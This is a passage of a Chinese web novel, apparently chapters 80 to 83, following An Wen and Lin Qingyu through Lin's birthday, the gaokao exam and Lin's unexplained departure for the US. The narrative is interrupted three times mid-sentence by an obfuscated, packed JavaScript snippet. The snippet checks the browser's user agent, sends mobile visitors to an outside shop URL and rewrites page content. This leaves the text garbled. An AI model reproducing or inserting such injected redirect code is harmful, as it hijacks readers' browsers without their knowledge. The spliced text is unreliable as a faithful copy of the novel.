“砰——”宿舍门回弹关住,走廊里的风钻进领口,安闻瑟缩成一团,却迟迟迈不动脚步。 林清宇怕把安闻逼急,安闻又何尝不是这样考虑的。他是天之骄子,是注定要攀上顶峰的,不该被自己拖累。 安闻自己可以高考失常,但是他不能允许自己影响林清宇的状态,如果林清宇因为自己的疏远和冷淡,没有考上A大,那安闻会内疚一辈子。 80.18岁 高三是没有假期的,一中的寒假放了10天,从腊月二十八到初七。 没有了林清宇,安闻的假期又恢复了从前的安静。 这天是初四,安闻和往常一样,坐在书桌前写卷子,整理错题本。 可他今天有些心不在焉,这个家里到处都是林清宇的痕迹。 林清宇坐过的桌角,林清宇睡过的床,林清宇吻他时靠着的沙发,林清宇为他煮面用过的珐琅锅。 书桌抽屉里放着一个黑色的四方盒子,安闻把它小心翼翼地拿出来,里面装了两块手表,款式一模一样。 银色的编织钢带,表盘周围镶了一圈碎钻,宛如一捧清雅纯净的白月光。唯一的不同,一只表盘是薄荷绿的,清爽新鲜。另一只表盘是蓝色的,沉稳清冷。 盒子的开启位置已经磨损起毛,不知被安闻摩挲了多少遍。 他觉得透不过气来,直接推开窗企图呼吸一口清冷新鲜的空气。然后窗外的茫茫白雪,又把他拉回到那个雪夜。 他再也按捺不住,跑出门去。 安闻学着那晚林清宇的模样,蹲在地上搓了一个圆润的雪球,他推着雪球,在地上越滚越大。 最后那个雪球变成了在他窗外站岗的士兵。只是这个士兵有些特别,它的脚下写着:我错了,不要原谅我。 兰胜男拿着手机走到门口的台阶上,对着安闻喊道,“宝宝,大冷天的,快回屋吧,冻坏了可怎么办。” 安闻应了一声,手上还团着雪,“就来,马上。” 兰胜男看他那样就知道是在敷衍自己,她走下台阶继续嘟囔,“你白姨打电话说一会儿要过来,你乌七八糟地在这儿堆雪人算怎么回事,赶紧回屋收拾收拾,换身衣服。” 手里的雪团不慎掉落,砸在安闻脚上,继而碎成一地雪花。安闻的手还保持着托举雪团的动作,他木讷道,“我回屋学习了,你就说我不在。” 说完一溜烟跑回了屋里,还不忘把自己的鞋子藏进鞋柜里。 安闻回了屋,哪有心思学习,他反锁房门后就靠着门坐在了地上。 今天是林清宇生日,白姨过来会不会带着林清宇? 安闻已经很久没见过林清宇了,他每天在教室学习,上厕所也绕到离小班远的那一侧。 林清宇课间会路过(1)班,安闻知道。他还会站在后门的地方叫梁米,安闻也知道。不管是路过,还是叫梁米,他的目光一直在自己身上,安闻感受得到。 可他从来有没有抬起过头,他不敢和林清宇对视龟。这段时间,安闻甚至理解了赵鸣飞,缩头乌龟当起来,确实轻松。 正想着,客厅响起了兰胜男爽朗的声音,“白姐,你来了,过年好。” 然后是白月洁和林勇平的声音,最后是林清宇向兰胜男拜年的声音。 安闻像一只被豢养的小猫,此刻听到熟悉的声音,支棱起耳朵。 林清宇声音有些低,安闻听不清。他把耳朵贴在门上,想听一听林清宇的声音,却被敲门声吓了一跳。 他应激地跳起来床上,又想起来自己反锁着房门,外面的人进不来。 安闻忐忑不安地站起来,弯下腰整理自己刚才堆雪人染湿的裤脚,门外的人显然失了耐心,“宝......咳......小闻,先别学习了,你林叔家来人了,你出来拜个年。” 听到兰胜男的声音,安闻长舒一口气,应道,“稍等一下,做完这道题的。” 门外的声音渐行渐远,像是兰胜男在给客人解释,“小闻这孩子今年跟转了性似的,学习起来可有劲儿了,非要等做完题的。” “没事,高三多关键啊,小闻爱学习是好事,咱们也别打扰他。随他吧。”林勇平喜欢爱学习有正调的孩子,高考在即,一切为了孩子学习,礼数不礼数的也没那么在意。 安闻换了一身干净衣服,出门给林叔和白姨拜年,说了一堆祝福话。 到了林清宇,他扯起嘴角说了句,“生日快乐。” 林清宇有些意外,安闻会主动跟自己说话。他受宠若惊地站起来,笑着回了句“谢谢。”那笑不是礼貌客套,而是发自真心的。但安闻还是感觉到了勉强。 白月洁替林清宇解释,“他昨晚学习没精神,给自己灌了两杯咖啡,一晚上没睡着。” 林勇平在旁边有些压不住的得意,“高三不努力还什么时候努力,大小伙子熬个夜没什么。” 之后两家长辈一直在聊高考,孩子,志愿填报,安闻和林清宇坐在沙发两边,一个抱着一个抱枕,像吉祥物一样,安安静静地陪笑。 林清宇昨晚已经三十多个小时没睡觉了,此刻靠在安闻家的沙发上有些困意,脑袋不住得往下耷拉,安闻见状,趁着给长辈了倒水的功夫,又放了两个抱枕在林清宇旁边的沙发上。 兰胜男和林勇平已经聊到了矿上食堂的生意,她转头看见林清宇在点瞌睡,叫醒了他,“小宇,别在沙发上睡着了,去小闻房间躺一会儿吧。” 安闻在旁边瞪大了眼睛看着兰胜男,兰胜男没看见似的催促,“快去吧,小闻,你带着小宇去,给他拿一床舒服点的被子。” 白月洁心疼儿子一晚上没睡,还坚持要来拜年,也附和着,“小宇,去吧,睡一会儿。一会儿出去吃饭我叫你。” 林清宇局促地站起来,有些尴尬地看着安闻,“会不会影响你复习?” “没事的没事的,小闻从放假都现在都没休息过,正好歇一歇,阿姨还得谢谢你呢,我都担心小闻熬坏了身子。”兰胜男抢先打消了林清宇的疑虑,把他让进了安闻房间。 安闻没说什么,跟着进了卧室,从柜子里拿出来干净的枕头和被子,还有那套林清宇以前来住时常穿的睡衣。 林清宇看着他这一套习若自然的动作,恍如隔世。好像还是昨天发生的事情,但又感觉昨天好遥远。 他看着安闻出神,没有及时伸手接过睡衣。安闻把睡衣直接放在了床上,转身出去,随手关上了门。 林清宇坐在床边,慢吞吞地换了睡衣,躺进了被子里。 新被子和枕头,又一股皂荚的清香,很陌生,扰得林清宇无法入睡。 他翻来翻去,最后索性钻进了安闻的被子里,枕着安闻的枕头,这才是熟悉的味道。 他把头埋进被子里,像一个采花的变态,贪婪地吸食着被子里属于安闻的气息。 林清宇把头在枕头上蹭蹭,想找一个舒服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178796|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的位置,却被硬物硌了脑袋。 客厅的安闻此刻也是如坐针毡,他想起来那个礼物盒还在枕头下放着,又安慰自己说林清宇不是随便翻别人东西的人。 几经权衡,他没有回到房间。因为他怕,他怕林清宇没有睡着,睁着眼睛看自己,更怕林清宇又说出什么让自己难以招架的话来。 左拖右拖,拖到了兰胜男和白月洁两个人把饭做好了,让安闻去叫林清宇吃饭。 今天是林清宇生日,本来林勇平是想带林清宇去外面吃的,但是想到儿子一晚上没睡觉,也有些心软。正好,兰胜男提议天寒地冻的,不要往外面跑了,在家里给安闻过生日,林勇平也就没有拒绝。 兰胜男不怎么会做饭,和白月洁做了几个简单的菜,又让周云辉从餐厅送来八个菜,算是张罗了一桌子生日餐。 安闻没有想过今年还能给林清宇过生日,自然就没准备蛋糕,好在白月洁提前定了蛋糕,改了安闻家的地址送过来。 万事俱备,只欠寿星。 外面的天已经黑了,卧室里黑漆漆的,只有林清宇均匀的呼吸声,他慢慢挪到床边,打开床头灯。 林清宇眉头蹙了蹙,迷蒙地抖抖眼皮,缓慢地张开眼睛。而后又快速闭上,然后倏地睁开。 “我还以为在做梦。”少年的声音刚刚苏醒,透着沙哑和慵懒,还有许多积蓄的委屈,安闻鼻头一酸,差点说不出话来。 他反复做了几次吞咽的动作,才找回自己的声音,“白姨让我来叫你吃饭。” 不是我想叫你,不是我主动来叫你,你白姨让我来的。安闻的这点小心思,林清宇如何能不知。 他把手从被子里抽出来,安闻感到自己的瞳孔一定是震颤了的,因为林清宇左手手腕上,带着他的那只表,蓝色表盘的那只。 林清宇故意露出手腕让他看见,看着安闻吃惊的表情,心里突然很开心,他嘴角咧起来,对着安闻一扬眉毛,“谢谢你的生日礼物,我很喜欢。” 安闻直勾勾地看着他的手腕,表情有些窘迫,好像暗恋的心思被戳中,更像是说了很久的谎被当面拆穿。 “不是送给你的,还给我。”他语气生硬地向林清宇索要。 结果可想而知,林清宇跳下床边往外面走边喊,“爸爸妈妈,你们看安闻送我的礼物,漂不漂亮?” 说完还举起左手在空中晃了晃,林勇平看着他兴高采烈的样子,内心有些歉疚地怀疑,是不是儿子的成年礼物不太合心意?怎么一块手表都能这么高兴。 小宇没有时间考驾照,自己送他一辆车好像确实不太实用。 心里虽然这么想的,但面上也不好表现出来,他语气严肃地教育孩子,“跟人家道谢了没有?沉稳点,也是18岁的大人了。” 白月洁开心地从厨房跑出来捧场,“好看好看,小闻真有眼光。” 林清宇左右摆弄着这块表,“是吧?正好我高考不用买表了。安闻这个礼物真贴心。”说完还得意地朝安闻挑眉。 他昭告天下似的告诉了所有人,安闻也不好再往回要,只能悻悻附和,“你喜欢就好。” “喜欢喜欢,你送的我都喜欢。”林清宇不假思索地脱口而出。 81.高考 蛋糕到了,大家上桌准备吃饭。席间林清宇还在一直摆弄着这块表,原本以为安闻只是简单地买了两块“情侣表”,没想到被林清宇发现了其中暗有玄机。 这块蓝色表盘的六点钟下面,有一排极小极小的蓝色小字,因为和表盘一样的蓝色,字号又小,所以不太明显。 林清宇迫不及待地拿到客厅的灯光下辨认了半天,才发现是金榜题名四个字,这个表果然是安闻对自己的祝福。 林勇平对他中途离席的表现非常不满,大着嗓门喊他,“你有没有点礼貌,家里教你吃饭中途撇开长辈离席的吗?” 林清宇并没有搭他的话,直接跑进了安闻卧室,翻出枕头下面的另一只表。 那只薄荷绿的表盘干干净净,什么字都没有。 安闻坐在餐桌上,不动声色地吃饭,听着白月洁跟兰胜男道歉,“抱歉啊,孩子被我惯坏了。” 兰胜男善解人意地劝慰,“没事,说的这是哪里的话,小闻也经常这样,吃吃饭想起来什么事就跑了,男孩子们,风风火火的才有活力。” “今天他生日,就由着他去吧。”林勇平难得向着儿子说一次话,“18岁生日,今天他最大。” 过了一会儿,林清宇回到桌边,他先跟兰胜男道歉,还编了个不得不原谅的理由,“兰姨,不好意思啊。是我唐突了。我刚才突然想起来一道关于时间的数学题,怕一会儿吃完饭就忘了,赶紧进屋记一下。” 桌上的人听了也都没再说什么,兰胜男顺着他的话,问了他以后要考哪所大学。 林清宇挠挠头说自己还没想好,兰胜男全当他是谦虚,转头对白月洁说,“小宇这孩子从小就学习好,考A大应该不成问题的。” “是啊,范老师说还有100多天就高考,小宇保持这个劲头,应该可以考A大排名前五的专业。”白月洁跟兰胜男这么多年的姐妹,也不藏着掖着,言语中带着遗憾直言道,“其实本来学校是给了保送名额的,但是小宇想凭自己的努力考,就没接受。” 安闻猛地抬头,看向林清宇,林清宇仿佛没看见他似的,只歪着脑袋听白月洁说话。 林勇平似乎很赞同林清宇的做法,他拍着胸脯说,“喜欢哪个专业就去考,考不上我给他兜底。保送的专业不喜欢就不去,我儿子又不是考不上。” 林勇平说得对,按照林清宇家的财力,即使他不上大学,也一辈子衣食无忧,确实不用为上哪所大学考虑。但志愿一天没录取,安闻总是不安。 林清宇察觉到安闻的情绪低落,他不满地转移话题,“爸,我过生日呐,能不能让我休息一天,不要总说高考大学什么的,搞得我特想吃完蛋糕就回家学习。” “行,今天你最大。”林勇平揉揉自家儿子的脑袋,满眼宠溺地说,“吹蜡烛许愿吧,过完今天就是大人了。” 白月洁把蛋糕端过来,安闻关了餐厅的主灯,林清宇头戴生日帽,闭上眼睛虔诚地许愿。 烛光映在他的脸上,是暖洋洋的橙色,安闻看得出神,林清宇才是名副其实的小太阳,永远温暖,永远明亮。 而自己就像黑洞,太阳一旦靠近自己,就会被一点一点蚕食,直至完全被吞下去。 这个结果,是自己万万不能接受的。那么,林清宇,就这样吧。你走你的阳关道,我过我的独木桥。做两条平行线,永远不要有相交的地方。 *** 开学后,安闻还是那样没日没夜的学习,只是不再接受梁米给带饭,也不再接受梁米任何变相的辅导。 二模成绩出来了,安闻考了695分,年级排名依旧是十五名。 为了激励学生最后三个月不懈怠,二模是加了难度的,但这个分数在安闻看来几乎等于没有进步。 他更加拼命地学习,不爱麻烦其他人的他,甚至申请了在宿舍放一个小型冰箱。并且请求周叔为自己提供了深夜外卖服务,每天晚上10点,兰胜男和周叔都会来给安闻送夜宵和第二天的早餐,两人没有时间,餐厅的服务员也会专门跑一趟。 即便这样,安闻还是越来越瘦,特别是天气转暖,安闻脱了臃肿的羽绒服,兰胜男才发现,安闻身上真的没有多少肉了。 她心疼儿子,决定最后两个月一天四顿的往学校送饭,安闻没有拒绝,高强度地学习确实需要高能量和营养均衡的食物,况且家里做的饭,干净卫生,肠胃不会出状况才能专心地复习。 四月底,全省联考,这是一次最接近于高考的考试。全省高三学生都格外重视。 安闻考了696分,年级排名第十二,全省排名第一百六十四名。 同时,林清宇,稳定的年级第一,全省排名第二十七名,722分。 所以学生都没时间骄傲,一拿到试卷就赶快投入到了分析试卷的工作中去。毕竟命题组有高考命题经验,这次的试卷很有研究价值。 大家的试卷都发到了手里,只有安闻没有试卷,刘秉航说是因为安闻这次有两处不该有的失误,所以试卷被扣下来了。 等晚自习拿回来的时候,卷子上已经被各科老师做了批注。 马上就要高考,各科老师对种子选手更加重视,但安闻心里也疑惑,这种专门批注的好事向来是小班学生才有的待遇。 不过看着各科老师的批注,确实有几处错误是因为读题马虎造成的,他把错题誊抄到错题本上,又根据错题找了几道变式做测试,期间梁米还问了他几道题。之后自然也就忘了往深处想。 安闻看着黑板上的倒计时由三位数到两位数,再到个位数,六月很快就到了。 天昏地暗的复习,安闻感觉自己都好久没见过白天的太阳了。该学的知识都学过了,不会的知识临时抱佛脚也没什么用,安闻现在反而心态平和下来。 三模为了给学生找自信,成绩都虚高,也没有什么参考价值。 高考前三天,一中高三终于放假。 刘秉航在放假前拍着桌子地千叮咛万嘱咐,准考证拿好,千万别丢了。这两天放松一下,不要再看新知识点了。回家好好休息,早睡早起,按照高考时间表作息。看那架势,比高考的学生们还要紧张。 下午安闻回到家,没一会儿白月洁就来了,带着一个透明笔袋,里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190439|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放着十多支中性笔,尺子,橡皮,涂卡笔,清凉油、巧克力、西洋参片、撕了包装的小瓶能量饮料,“我给小宇准备东西,顺便就给小闻带了一份。” 安闻礼貌道谢,当着白月洁的面,把自己的身份证和准考证放进了笔袋里。 这两天,安闻没有出门,每天跟老僧入定一样坐在书桌前翻错题本。 考前一天地中午,刘秉航给安闻打了电话,告知去考场的路线,他应该是把每一个考点都走了一遍,然后叮嘱安闻千万不能忘记准考证,下午自己去考场走一遍路线。 兰胜男想陪着他,被安闻拒绝了,“妈妈,今天只是去看考场,又不考试,不要劳师动众的。” 兰胜男只好作罢,但是她掏出手机给白月洁打了个电话。 片刻,兰胜男打完电话回来,跟安闻说,“你等一等,小宇也在那个考点,你们两个一起去。” 见到林清宇的那一刻,安闻什么都没管,只是僵着脸伸手,“把你准考证拿来看看。” 林清宇失笑,乖巧地从车上拿出安闻同款透明笔袋,老实地交到安闻手里,“真是一个考点,没骗你。” 安闻心里暗松一口气,但是没有表现出来,他从容地上了林清宇的车。 他本来是不紧张的,可是不知道为什么,见到林清宇之后,现在他非常紧张,甚至焦虑。不是因为自己,不对,也是因为自己,他害怕自己拖了林清宇后腿,担心林清宇考不上A大,或是考不上他想考的那个专业。 两人到了考场,先看了周边可以停车的地方,和一旦堵车两人应该下车然后步行进考点的地方。考场里面不让进,林清宇就把考点门口的考场分布图拍进了手机里,传给安闻一份。并在图上标注了卫生间和应急楼梯的位置。 高考当天,兰胜男没有出车送货,周叔的餐厅也没有开门,两人带着小蓉,一起把安闻送进了考场。在考场门口,安闻遇到了林清宇,两人几乎是前后脚进了考点。 安闻在东楼的六楼,林清宇在西楼的三楼。进了校园就要各奔东西,两人的脚步却都停下了。 人流中大家都在匆忙寻找考场,他们两个人站立在中间,格外显眼。 还是林清宇先开了口,“我有点紧张,安闻。” 安闻没说话,看着他,这段时间一直参加各种各样的考试,林清宇这样身经百战的学生,若非故意考砸的那两次,整个高中都没有发挥失常过。 安闻心里虽然这么想,嘴上却还是说着鼓励的话,“林清宇,不要紧张,跟平时考试一样,你就是第一,稳稳的第一。我等着你拿是理科状元。” 林清宇看着他笑,然后伸出手来,“那我可以要一个鼓励的拥抱吗?” 安闻没有犹豫,走上去抱住了他,“全神贯注,就当是一中模拟考,你可以的。” 耳畔传来林清宇的回应,“安闻,你也加油,祝你金榜题名。” 安闻退开,下意识地看向林清宇左手手腕,那块表赫然戴在手腕上,一圈碎钻在太阳的照射下闪耀炫目。 就像林清宇,无论长相还是成绩,都是夺目的存在。 82.失踪 高考两天,一共四门考试,安闻抱了林清宇四次。 最后一科英语考完,安闻猛地松了一口气,他知道自己稳了。前三科可能因为林清宇楼层低的缘故,他总是比安闻早出考场。安闻走出校门,下意识地寻找林清宇。 这次也不例外,安闻看到靠在车门上的林清宇在冲着他招手。 安闻越过周围的人,快步跑到他的面前,“怎么样?” “帅。”林清宇竖起大拇指给安闻。 安闻一巴掌拍在他胳膊上,“我是问你,考得怎么样?” “没问题。”林清宇说。 听到林清宇拽屁地嘚瑟,安闻才真的觉得高考结束了。他抿抿嘴角,后退一步,去寻找兰胜男的车。 林清宇揽过他的肩膀,把他往自家车上塞,“兰姨说反正你考完了,她这两天堆了好多事没有处理,就先走了。我送你回家。” 安闻别捏地拨开他的手,变脸堪比翻书,“林清宇,这两天是为了保持你稳定的情绪,请你不要误会。” 说完不顾林清宇的失落,跳上一辆出租车就跑了。 安闻回到家,空无一人,兰胜男只打了个电话,果然高考之后的儿子不是个宝了。 他坐在床上,看着空空的书桌发呆。这大半年,这是他第一次在这个房间里,没有看书,没有做卷子,没有抄笔记,没有在脑海中回想知识框架,只是坐着,呆呆地坐着。 安闻突然觉得一阵空虚,空虚之后是寂寞,然后是不知所措。 他给卢远和梁米打了电话,闲聊了一些考试时候的事情,但都默契地没有对答案。 卢远还兴高采烈地跟安闻炫耀,自己和罗晴约了这个假期一起出去玩。 他换了衣服,洗了澡,躺进柔软的床里,长久紧绷的身体得到放松,不一会儿就进入了梦乡。 紧张后的放松是真正的放松,平时那些因为复习压下去的小心思全都用了上来,安闻做了一夜的梦,梦里有家人,爸爸妈妈叔叔伯伯,有朋友,卢远梁米赵鸣飞罗晴,甚至连叶笑笑都梦到了,还有林清宇和林清宇家的小金毛。 一些叫不上名字的魑魅魍魉,一些奇形怪状的妖魔鬼怪,他沉浸在梦里,醒不过来。 还是兰胜男摇着他,把他叫醒的,安闻睁开眼睛就开始抱怨,“妈妈,你怎么又不敲门就进我房间啊。” 兰胜男没好气地笑道,“敲门你也要听得见才行啊,太阳都快落山了,你电话响了一遍又一遍,你都听不到。” 安闻揉揉眼睛,拿起手机,已经下午两点了。手机里十几通未接电话,都是基本都是卢远的轰炸。 他没有理会卢远,径自点开班级群。然后就看到了刘秉航说休息够了,回学校领志愿填报指南。 然后是(1)班同学在班级群里起哄,让刘秉航请客吃饭。 卢远他们几个人,虽然考进了小班,但(1)班的群也没退,这会儿正在群里咋唬呢。 安闻把私信切到卢远的私聊界面:[你又活了啊?] 卢远:[那可不!终于解放了!我今天睡到中午十二点!太尼玛爽了!!!] 安闻:[我们班聚餐你来吗?] 卢远:[那必须啊!不仅是我,咱们两个班任课老师都一样,老刘和老范已经商量好了,两个班一起聚餐。] 两个班一起聚餐?安闻搓了搓脸,切回班级群里,往上翻了好久才看到刘老师的通知:[明天中午聚鑫源酒店毕业聚餐。最后一次,一个都不能少。] 下面跟着一长串的回复:[收到] 如果这顿散伙饭发生在高一期末,安闻也许会大哭一场,捎带着感慨下时光易逝,光阴不再什么的。 但高二之后,一直在流动分班,班级里的同学来来去去,安闻早已习惯了分别。况且高三一年,他两耳不闻窗外事,根本没有时间联络同学感情。 每当这个时候,安闻就会感慨,龙生龙凤生凤,老鼠的孩子会打洞,安黎明的冷血基因,在自己身上体现得还挺明显的。 只是小班一起参加,那林清宇也会来。高考结束了,自己不必在乎林清宇的情绪,那该以什么样子来面对林清宇呢? 安闻缩在被子里,睡了几乎一天一夜,嗓子和头都疼。 手机铃声倏地响起,卢远不甘寂寞地打来骚扰电话。安闻前瞻性的把手机拿远,点了接听。 不出所料,卢远中气十足的声音在没开扬声器的情况下,都那么嘹亮。 “睡够了没啊!打了八百遍电话都不接!发个微信说两句就没人影了。”卢远说。 安闻清清嗓子,解释道,“咳......我才睡醒,还蒙着呢。” 卢远可算是解放了,天性完全暴露,上天入地什么都想做,跟安闻细数了很多旅游目的地,还有各种漫长暑假要做的娱乐刺激项目。 当安闻听到他准备去澳门塔蹦极的时候,终于忍不住了,他掐掐眉心叹息道,“我没有时间。你带罗晴去吧。” “哎哎~出成绩前有20天假,就这20天你都没时间啊?成绩出了我爸妈操心我报志愿的事情,我就没有现在自由了。”卢远晓之以情动之以理,据理力争道,“而且你闷在家里干嘛啊?出去玩玩,我可跟你说,以后上了大学都跟大学同学出去玩了,你到时候想见我都不一定能见上。” 安闻听着有猫腻,再次推辞道,“我真去不了,假期要考驾照呢。” 卢远一听就来劲了,“兄弟,你不够意思啊。假期两三个月呢,不够你考驾照?科一考完出去玩,回来正好轮科二,考驾照算什么理由,哪有兄弟我的终身大事重要!” 安闻听着他口风不严自己往外漏就想笑,他阴阳怪气地调侃,“你早说你终身大事,我就算有约会也推了。你说吧,要兄弟做什么?是给你当伴郎还是给罗晴当伴娘,我都能豁得出去。” 电话那边发出嫌弃的气音,“看不出你还有一个美娇娘的梦想。” “一切为了兄弟。”安闻坚定地喊口号。 安闻这一年一直在(1)班闷头苦学,不太清楚卢远和罗晴在小班的纠缠拉扯,偶尔听梁米说过几句,罗晴对卢远的学习挺上心,笔记借卢远看,还给他整理错题。 在安闻看来,罗晴这就是在为他们的未来铺路,不然高三学习那么紧张,谁还有闲心帮助别人学习。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13204185|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有罗晴,不对,还有林清宇。只有他们两个人,牺牲自己的学习时间,帮不相干的两个人辅导。 “安闻,安闻,安闻,你还在听吗?”卢远在电话另一边叫魂一般。 “我在。”安闻应道。 “我跟你直说,罗晴答应跟我去澳门了,但是叶笑笑也想去。你能不能也跟我去,然后帮我搞定叶笑笑,给我制造一些罗晴单独相处的机会。” 安闻其实想过,卢远是想让自己当助攻的。但他觉得不合适,罗晴之前喜欢过自己,虽然卢远不在意,但是自己现在帮卢远追罗晴,好像有点不合常理。 现在一听卢远的算盘不止于此,当僚机还可以忍,搞定叶笑笑算怎么回事?他揶揄道,“你算盘打得挺响,我在家里都听到了。” 卢远嘿嘿一笑,不好意思道,“其实吧,你也搞不定叶笑笑。我寻思着你再把林清宇带上,或者干脆咱们再叫几个人,就像上次去太连山一样。人多热闹,我和罗晴悄悄走开,也不显眼。” 林清宇,又是林清宇,怎么也绕不过林清宇。 “对了,你和林清宇到底因为什么闹掰了啊?我之前问你,你总说一句两句说不清楚。现在放假了,大把的时间,可以说了吧?” 卢远的脑回路也是神奇,三拐两拐就拐到了林清宇身上。安闻无可奈何,只能敷衍道,“电话里说不明白,见了面再说吧。”他心想,卢远这脑子见面之后早就忘光了。 *** 聚餐这天,两个班,70个学生,加上任课老师,在聚鑫源摆了八桌。 大家都到了,只缺林清宇。 梁米给他打了两遍电话,第一遍没人接,第二遍被挂断。 大家面面相觑,卢远怂恿安闻,“你打一个,你打他准能接。” 安闻睨了他一眼,有些心动,毕竟是高中的最后一次聚餐,林清宇缺席会很遗憾。 他慢吞吞地拿出手机,拨通林清宇的电话,第一遍被挂断,第二遍就直接关机了。 “可能有事吧?”安闻拖拖拉拉地收起手机,帮林清宇找了个蹩脚但并无说服力的借口。 全体同学都在,只缺年级第一。老范心里不是滋味,试着做最后一次努力,“我给他家长打个电话试一下吧。” 说完拿出手机拨通了林勇平的电话,大家屏息听着听筒里的声响,林勇平很快接了电话,但安闻却听出了异常。 电话里面的声音,是林勇平没错,但却不是平时意气风发的声音,而是苍老、沧桑,还带着一丝疲惫沙哑。 联想到林清宇一直不接电话,他突然有些慌。 安闻赶忙拿出手机,去翻林清宇的朋友圈,高考之后他只在8号晚上发了一条:迎接新的挑战。 安闻又去翻两个班级群的群聊消息。 林清宇最近的一条消息,是在小班班级群里回复范老师的考前温馨提示,消息时间是6号晚上8点。 他的手心沁出汗来,8号考完安闻还见过林清宇,但是在那之后,林清宇没有和任何人联系过,也没有任何消息。 安闻“嗡”的一下空白了,一个不好的念头充满了他的脑袋:林清宇出事了! 83.意外 安闻不可遏制地胡思乱想,甚至想抢范老师的电话,他拨开前边的人,往前挤了挤,正要伸手。 就听见林勇平干笑一声,滴水不漏地打官腔,“范老师,今天的同学聚会,林清宇不能参加了。他现在在去美国的飞机上,行程是早就定下的。让大家久等了,实在抱歉。正好聚鑫源老板是我同学,这顿饭我来请,祝同学们前程似锦,毕业愉快。” 这番话林勇平说得妥妥帖帖,既然行程是早定下的,况且人都在飞机上了,范老师也不好勉强。 只是所有人都没有听说过林清宇要去美国,毕竟还有二十天就要出成绩报志愿,范老师不由多操心一点儿,“那林清宇还能赶上报志愿吗?报志愿是关系到一辈子的大事。” 林勇平的声音恢复了柔和,“感谢各位老师这三年的照顾,林清宇这次去美国,是考察学校的。如果学校可以,就直接定下来。” 言外之意,就是报志愿即使错过了也没关系。 范玉红失望地挂断了电话,一方面是因为林清宇是市理科状元的种子选手,学校和老师对他冲刺A大寄予厚望。另一方面是现在6月份申请美国的学校,基本申不到什么好学校了。 她不知道是什么原因让林清宇突然决定去美国上学,但父母有自己的考虑,总不会害孩子,她没办法多说,也没办法劝。只是可惜这么一个好苗子。 安闻听了林勇平这样一番话,也觉得奇怪,林勇平一直是反对林清宇出国的,况且现在林清宇感兴趣的能源专业,我国拥有的技术处于世界前端,在国内有很广阔的发展前景。 只是,林叔叔可能有自己的考量,业务拓展到国外,亦或是准备移民。 安闻握着的手慢慢舒展,幸好,林清宇没有出事就好。 这样的结果也很好,林清宇离自己远远的,在国外认识新的人,开始新的生活。 而自己,按部就班地在国内上大学,工作,一辈子都没什么出国的机会。 梁米不知道什么时候凑到安闻旁边,他压低声音问,“林清宇这两天联系过你吗?” 安闻摇摇头,联不联系的都没什么关系了,从此一别两宽,再无交集。 他找了个位置坐下,恢复了往日的神采,虽然林清宇缺席,但毕业宴会还是要照常的,他招呼大家,“快点坐下吧,早点吃完,咱们下午还能有一场。” 这顿散伙饭,安闻表现地格外积极,他跑前跑后地给大家伙儿倒酒,敬酒,还主动站起来提了好几杯。 高考结束了,孩子们终于解放,在保证安全的情况下,老师们也没有阻止大家喝酒。 一开始,每个人都规规矩矩地坐在位置上,几杯酒下肚,一屋子的人都被勾起了情绪,有突然轻松的发泄,有毕业离别的惆怅,有对未来前途的担心。 这会儿人们开始勾肩搭背,哭哭闹闹。安闻反而安静下来,他给每一个抱头痛哭的人递上纸巾,然后跟各位老师打了招呼,先行离开。 他本来打算聚餐结束后去驾校报名的,现在喝了酒,懒得动弹。 安闻晃晃悠悠地往出走,站在酒店门口,突然露出茫然无措的神情。 像是卸下了全部力气,不,不是全部力气,好像脑袋都卸下了。安闻站在空荡的停车场,头顶是烈日骄阳。 一下失去了所有的感官,感觉不到热,感觉不到风,脚底的地面变得虚无。 他不会思考,不知该往哪儿走,眼前白茫茫一片,除了眼睛剧烈的酸胀,什么都感受不到。 安闻浑浑噩噩地回到家,在手机上下载了驾考软件,刷了一晚上科一题目。 第二天,他去驾校报名,预约了三天后的科目一考试。 他记得,自己答应过林清宇的,一满十八岁,就去考驾照,然后开车带他出去玩。 可是现在,自己已经快19岁了,这驾照考得太迟,自己还是食言了。 科一满分通过,安闻急不可耐地预约了十天后的科二。 这些天,他不是在驾校练车,就是把自己关在房间里看视频模拟。 兰胜男笑他,高三结束还有余力。 他不以为意,只开玩笑说,自己拿到驾照,要跟兰胜男分期付款买一辆车。 兰胜男追加条件,成绩出来超过700分,就买二十万的车,超过700还能上H大,就买30万的车。 安闻笑着打包票,自信地拍胸脯,“没问题。” 梁米神神秘秘地去了杭州,林清宇联系不上,安闻自然也没有了去澳门的心思。最后卢远不知道使了什么招数,抛下叶笑笑,和罗晴单独去了澳门。 转眼就到了查分这天,安闻睡得香甜,第二天早上却看到了兰胜男顶着一双熊猫眼。 “妈妈,你紧张呀?”安闻拿起一块面包片,抹好黄油送到兰胜男面前。 